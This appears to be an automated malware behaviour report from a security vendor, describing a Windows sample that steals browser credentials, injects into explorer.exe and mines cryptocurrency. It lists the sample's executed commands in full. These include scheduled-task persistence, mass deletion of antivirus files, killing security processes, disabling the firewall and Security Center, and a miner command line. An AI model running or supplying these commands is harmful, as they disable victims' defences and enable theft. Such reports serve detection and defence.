Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'soundslanguageAPI' = '%TEMP%\Sound Language\soundslanguageAPI.exe'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
Searches for windows to
detect analytical utilities:
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: 'RegmonClass', WindowName: ''
Modifies file system
Creates the following files
- %TEMP%\eyhxrsqmpbqtpxsaoecheqkt.exe
- %TEMP%\tmpe014.tmp
- %TEMP%\tmpe013.tmp
- %TEMP%\tmpe003.tmp
- %TEMP%\tmpe002.tmp
- %TEMP%\tmpe001.tmp
- %TEMP%\tmpe000.tmp
- %TEMP%\tmpe015.tmp
- %TEMP%\tmpdfef.tmp
- %TEMP%\tmpdfed.tmp
- %TEMP%\tmpdfdd.tmp
- %TEMP%\tmpdfdc.tmp
- %TEMP%\tmpdfdb.tmp
- %TEMP%\tmpdfda.tmp
- %TEMP%\tmpdfc9.tmp
- %TEMP%\tmpdfee.tmp
- %TEMP%\tmpe026.tmp
- %TEMP%\tmpe027.tmp
- %TEMP%\tmpe028.tmp
- %TEMP%\sound language\soundslanguageapi.exe
- %TEMP%\1967082375.exe
- %TEMP%\asacpiex.dll
- %TEMP%\aut4e3e.tmp
- %TEMP%\257563878.exe
- %TEMP%\97249590.exe
- %TEMP%\tmpe0bd.tmp
- %TEMP%\tmpe0bc.tmp
- %TEMP%\tmpe08d.tmp
- %TEMP%\tmpe08c.tmp
- %TEMP%\tmpe04c.tmp
- %TEMP%\tmpe03c.tmp
- %TEMP%\tmpe03b.tmp
- %TEMP%\tmpe03a.tmp
- %TEMP%\tmpe029.tmp
- %TEMP%\tmpdfc8.tmp
- %TEMP%\tmp57a1.tmp.bat
- %TEMP%\tmpdfb7.tmp
- %TEMP%\tmpdfa6.tmp
- %TEMP%\tmpdf05.tmp
- %TEMP%\tmpdf04.tmp
- %TEMP%\tmpddfa.tmp
- %TEMP%\tmpddea.tmp
- %TEMP%\tmpddd9.tmp
- %TEMP%\tmpddc8.tmp
- %TEMP%\tmpdf26.tmp
- %TEMP%\tmpddb8.tmp
- %TEMP%\tmpdda6.tmp
- %TEMP%\tmpdda5.tmp
- %TEMP%\tmpdd95.tmp
- %TEMP%\tmpdd94.tmp
- %TEMP%\tmpdd93.tmp
- %TEMP%\tmpdd82.tmp
- %TEMP%\tmpddb7.tmp
- %TEMP%\tmpdf27.tmp
- %TEMP%\tmpdf28.tmp
- %TEMP%\tmpdf38.tmp
- %TEMP%\tmpdfa5.tmp
- %TEMP%\tmpdfa4.tmp
- %TEMP%\tmpdf93.tmp
- %TEMP%\tmpdf92.tmp
- %TEMP%\tmpdf91.tmp
- %TEMP%\tmpdf81.tmp
- %TEMP%\tmpdf80.tmp
- %TEMP%\tmpdf6f.tmp
- %TEMP%\tmpdf5e.tmp
- %TEMP%\tmpdf5d.tmp
- %TEMP%\tmpdf5c.tmp
- %TEMP%\tmpdf4c.tmp
- %TEMP%\tmpdf4b.tmp
- %TEMP%\tmpdf4a.tmp
- %TEMP%\tmpdf39.tmp
- %TEMP%\tmpdfb6.tmp
- nul
Deletes the following files
- %TEMP%\tmpdd82.tmp
- %TEMP%\tmpdfc8.tmp
- %TEMP%\tmpdfdb.tmp
- %TEMP%\tmpdfda.tmp
- %TEMP%\tmpdfdd.tmp
- %TEMP%\tmpdfdc.tmp
- %TEMP%\tmpdfee.tmp
- %TEMP%\tmpdfed.tmp
- %TEMP%\tmpe000.tmp
- %TEMP%\tmpdfef.tmp
- %TEMP%\tmpe002.tmp
- %TEMP%\tmpe001.tmp
- %TEMP%\tmpe013.tmp
- %TEMP%\tmpe003.tmp
- %TEMP%\tmpdfb6.tmp
- %TEMP%\tmpdfc9.tmp
- %TEMP%\tmpe015.tmp
- %TEMP%\tmpe014.tmp
- %TEMP%\1967082375.exe
- %TEMP%\aut4e3e.tmp
- %TEMP%\tmpe0bc.tmp
- %TEMP%\tmpe0bd.tmp
- %TEMP%\tmpe08c.tmp
- %TEMP%\tmpdf6f.tmp
- %TEMP%\tmpe08d.tmp
- %TEMP%\tmpe04c.tmp
- %TEMP%\tmpe03a.tmp
- %TEMP%\tmpe03b.tmp
- %TEMP%\tmpe028.tmp
- %TEMP%\tmpe029.tmp
- %TEMP%\tmpe026.tmp
- %TEMP%\tmpe027.tmp
- %TEMP%\tmpdfb7.tmp
- %TEMP%\tmpdfa5.tmp
- %TEMP%\tmpdfa6.tmp
- %TEMP%\tmpdd94.tmp
- %TEMP%\tmpdd95.tmp
- %TEMP%\tmpdda5.tmp
- %TEMP%\tmpdda6.tmp
- %TEMP%\tmpddb7.tmp
- %TEMP%\tmpddb8.tmp
- %TEMP%\tmpddc8.tmp
- %TEMP%\tmpddd9.tmp
- %TEMP%\tmpddea.tmp
- %TEMP%\tmpddfa.tmp
- %TEMP%\tmpdf05.tmp
- %TEMP%\tmpdf04.tmp
- %TEMP%\tmpdf27.tmp
- %TEMP%\tmpdf26.tmp
- %TEMP%\tmpdd93.tmp
- %TEMP%\tmpdf38.tmp
- %TEMP%\tmpdf93.tmp
- %TEMP%\tmpdf28.tmp
- %TEMP%\tmpdf4a.tmp
- %TEMP%\tmpdf39.tmp
- %TEMP%\tmpdf4c.tmp
- %TEMP%\tmpdf4b.tmp
- %TEMP%\tmpdf5d.tmp
- %TEMP%\tmpe03c.tmp
- %TEMP%\tmpdf5c.tmp
- %TEMP%\asacpiex.dll
- %TEMP%\tmpdf81.tmp
- %TEMP%\tmpdf80.tmp
- %TEMP%\tmpdf92.tmp
- %TEMP%\tmpdf91.tmp
- %TEMP%\tmpdfa4.tmp
- %TEMP%\tmpdf5e.tmp
- %TEMP%\257563878.exe
Network activity
Connects to
- '45.##.213.248':36372
- 'ap#.ip.sb':443
- 'i.###aimibun.ru':443
- '2n#.co':443
TCP
HTTP POST requests
- http://45.##.213.248:36372/ via 45.##.213.248
Other
- 'ap#.ip.sb':443
- 'i.###aimibun.ru':443
- '2n#.co':443
UDP
- DNS ASK ap#.ip.sb
- DNS ASK i.###aimibun.ru
- DNS ASK oi.###aimibun.ru
- DNS ASK b.####shitekata.ru
- DNS ASK 2n#.co
Miscellaneous
Searches for the following windows
- ClassName: 'File Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: 'Process Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Creates and executes the following
- '%TEMP%\eyhxrsqmpbqtpxsaoecheqkt.exe'
- '%TEMP%\97249590.exe'
- '%TEMP%\257563878.exe'
- '%TEMP%\1967082375.exe'
- '%TEMP%\sound language\soundslanguageapi.exe'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"%TEMP%\Services32.exe"' & exit' (with hidden window)
- '%TEMP%\cl_debug_log.txt' e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "%TEMP%\CR_Debug_Log.txt" -o"%TEMP%\"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks.exe /Create /XML "%TEMP%\SecurityHealthsysTray.xml" /TN "System\SecurityHealthsysTray"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c For /L %i In (0,0,0) Do (del "%TEMP%\257563~1.EXE"&&timeout /t 0&&if not exist "%TEMP%\257563~1.EXE" exit)' (with hidden window)
- '%APPDATA%\microsoft\inc\sihost32.exe' ' (with hidden window)
- '%TEMP%\services32.exe' ' (with hidden window)
- '%APPDATA%\microsoft\windows\securityhealthsystray.exe' -SystemCheck' (with hidden window)
- '%APPDATA%\microsoft\windows\securityhealthsystray.exe' e -p"DxSqsNKKOxqPrM4Y3xeK" "%APPDATA%\Microsoft\Windows\Tor.tmp" -o"%APPDATA%\Microsoft\Windows\Tor\"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Get-MpPreference -verbose
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\avgamsvr\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\avgamsr\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\Norton~1\*.*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\Norton~1\Norton~1\*.*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\Norton~1\Norton~1\speedd~1\*.*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\Norton~1\Norton~1\Norton~3\*.*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\Mcafee\*.*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\Norton~1\*.cnt
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\avpersonal\*.vdf
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\tbav\*.datcls
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\f-prot95\*.dll
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\avgemc\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\trojan~1\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\Lavasoft\Ad-awa~1\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\alwils~1\avast4\*.*
- '%WINDIR%\syswow64\cmd.exe' tskill /A offg*
- '%WINDIR%\syswow64\cmd.exe' tskill /A norm*
- '%WINDIR%\syswow64\cmd.exe' tskill /A avas*
- '%WINDIR%\syswow64\cmd.exe' tskill /A safe*
- '%WINDIR%\syswow64\cmd.exe' tskill /A ad-*
- '%WINDIR%\syswow64\cmd.exe' tskill /A scan*
- '%WINDIR%\syswow64\cmd.exe' tskill /A sweep*
- '%WINDIR%\syswow64\cmd.exe' tskill /A realm*cls
- '%WINDIR%\syswow64\cmd.exe' tskill /A virus*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\kasper~1\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\pavprot\*.exe
- '%WINDIR%\explorer.exe' --cinit-find-e --pool=stratum://`0x68BA13B162a935926f0200133bA1Ef66A13fd948`@eth-eu1.nanopool.org:9999 --cinit-max-gpu=40 --response-timeout=30 --farm-retries=30 --cinit-idle-wait=5 --cinit-i...
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\grisoft
- '%WINDIR%\syswow64\timeout.exe' /t 0
- '%WINDIR%\syswow64\cmd.exe' /c For /L %i In (0,0,0) Do (del "%TEMP%\257563~1.EXE"&&timeout /t 0&&if not exist "%TEMP%\257563~1.EXE" exit)
- '%WINDIR%\syswow64\schtasks.exe' /Create /XML "%TEMP%\SecurityHealthsysTray.xml" /TN "System\SecurityHealthsysTray"
- '%WINDIR%\syswow64\cmd.exe' /c schtasks.exe /Create /XML "%TEMP%\SecurityHealthsysTray.xml" /TN "System\SecurityHealthsysTray"
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "Services32" /tr '"%TEMP%\Services32.exe"'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"%TEMP%\Services32.exe"' & exit
- '<SYSTEM32>\timeout.exe' 3
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp57A1.tmp.bat""
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\pandasoftware\*.*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\webproxy\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\apvxdwin\*.exe
- '%WINDIR%\syswow64\cmd.exe' tskill /A syman*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\avengine\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\pavprsrv\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\ewido\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\guard\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\ewidoctrl\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\kaspersky\*.*
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\kavmm\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\kav\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\nood32
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\nod32
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\nood32\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\nood32krn\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\avgcc\*.exe
- '%WINDIR%\syswow64\cmd.exe' del /Q /F %ProgramFiles%\avgupsvc\*.exe
- '%WINDIR%\syswow64\cmd.exe' tskill /A sche*
- '%WINDIR%\syswow64\cmd.exe' tskill /A gcasDt*
- '%WINDIR%\syswow64\cmd.exe' tskill /A ewid*
- '%WINDIR%\syswow64\cmd.exe' tskill /A aswupdsv
- '%WINDIR%\syswow64\cmd.exe' tskill /A ash*
- '%WINDIR%\syswow64\cmd.exe' tskill /A avg*
- '%WINDIR%\syswow64\cmd.exe' tskill /A kav
- '%WINDIR%\syswow64\cmd.exe' tskill /A def*
- '%WINDIR%\syswow64\cmd.exe' tskill /A BLACKICE
- '%WINDIR%\syswow64\cmd.exe' tskill /A cle
- '%WINDIR%\syswow64\cmd.exe' tskill /A ESAFE
- '%WINDIR%\syswow64\cmd.exe' tskill /A F-*
- '%WINDIR%\syswow64\cmd.exe' tskill /A nav*
- '%WINDIR%\syswow64\cmd.exe' tskill /A guard*
- '%WINDIR%\syswow64\cmd.exe' tskill /A nv*
- '%WINDIR%\syswow64\cmd.exe' tskill /A SAFEWEB
- '%WINDIR%\syswow64\cmd.exe' tskill /A ZONEALARM
- '%WINDIR%\syswow64\cmd.exe' tskill /A KAV*
- '%WINDIR%\syswow64\cmd.exe' tskill /A PersFw
- '%WINDIR%\syswow64\cmd.exe' tskill /A bullguard
- '%WINDIR%\syswow64\cmd.exe' tskill /A spy*
- '%WINDIR%\syswow64\cmd.exe' tskill /A anti*
- '%WINDIR%\syswow64\cmd.exe' tskill /A fire*
- '%WINDIR%\syswow64\cmd.exe' tskill /A av*
- '%WINDIR%\syswow64\cmd.exe' netsh firewall set opmode mode=disable
- '%WINDIR%\syswow64\cmd.exe' net stop "Security Center"
- '%WINDIR%\syswow64\cmd.exe' tskill /A OUTPOST
- '%WINDIR%\syswow64\cmd.exe' tskill /A norton au*
- '%WINDIR%\syswow64\cmd.exe' tskill /A panda*
- '%WINDIR%\syswow64\cmd.exe' tskill /A msmp*
- '%WINDIR%\syswow64\cmd.exe' tskill /A padmincls
- '%WINDIR%\syswow64\cmd.exe' tskill /A pav*
- '%WINDIR%\syswow64\cmd.exe' tskill /A pop*
- '%WINDIR%\syswow64\cmd.exe' tskill /A cpd*
- '%WINDIR%\syswow64\cmd.exe' tskill /A pcc*
- '%WINDIR%\syswow64\cmd.exe' tskill /A tmn*
- '%WINDIR%\syswow64\cmd.exe' tskill /A issvc
- '%WINDIR%\syswow64\cmd.exe' tskill /A tmp*
- '%WINDIR%\syswow64\cmd.exe' tskill /A nisum*
- '%WINDIR%\syswow64\cmd.exe' tskill /A loge*
- '%WINDIR%\syswow64\cmd.exe' tskill /A npfmn*
- '%WINDIR%\syswow64\cmd.exe' tskill /A avsch*
- '%WINDIR%\syswow64\cmd.exe' tskill /A ccc*
- '%WINDIR%\syswow64\cmd.exe' tskill /A norton*
- '%WINDIR%\syswow64\cmd.exe' tskill /A cc*
- '%WINDIR%\syswow64\cmd.exe' tskill /A minilog
- '%WINDIR%\syswow64\cmd.exe' tskill /A zlclien*
- '%WINDIR%\syswow64\cmd.exe' tskill /A upd*
- '%WINDIR%\syswow64\cmd.exe' tskill /A zauinst
- '%WINDIR%\syswow64\cmd.exe' tskill /A zap*cls
- '%WINDIR%\syswow64\cmd.exe' tskill /A isafe
- '%WINDIR%\syswow64\cmd.exe' tskill /A msiexec
- '%WINDIR%\syswow64\cmd.exe' tskill /A mghtml
- '%WINDIR%\syswow64\cmd.exe' tskill /A mcafe*
- '%WINDIR%\syswow64\cmd.exe' tskill /A guar*
- '<SYSTEM32>\taskeng.exe' {AC6E230A-B017-4267-BC59-A46292D7C434} S-1-5-21-1960123792-2022915161-3775307078-1001:qqgkjgtchz\user:Interactive:[1]
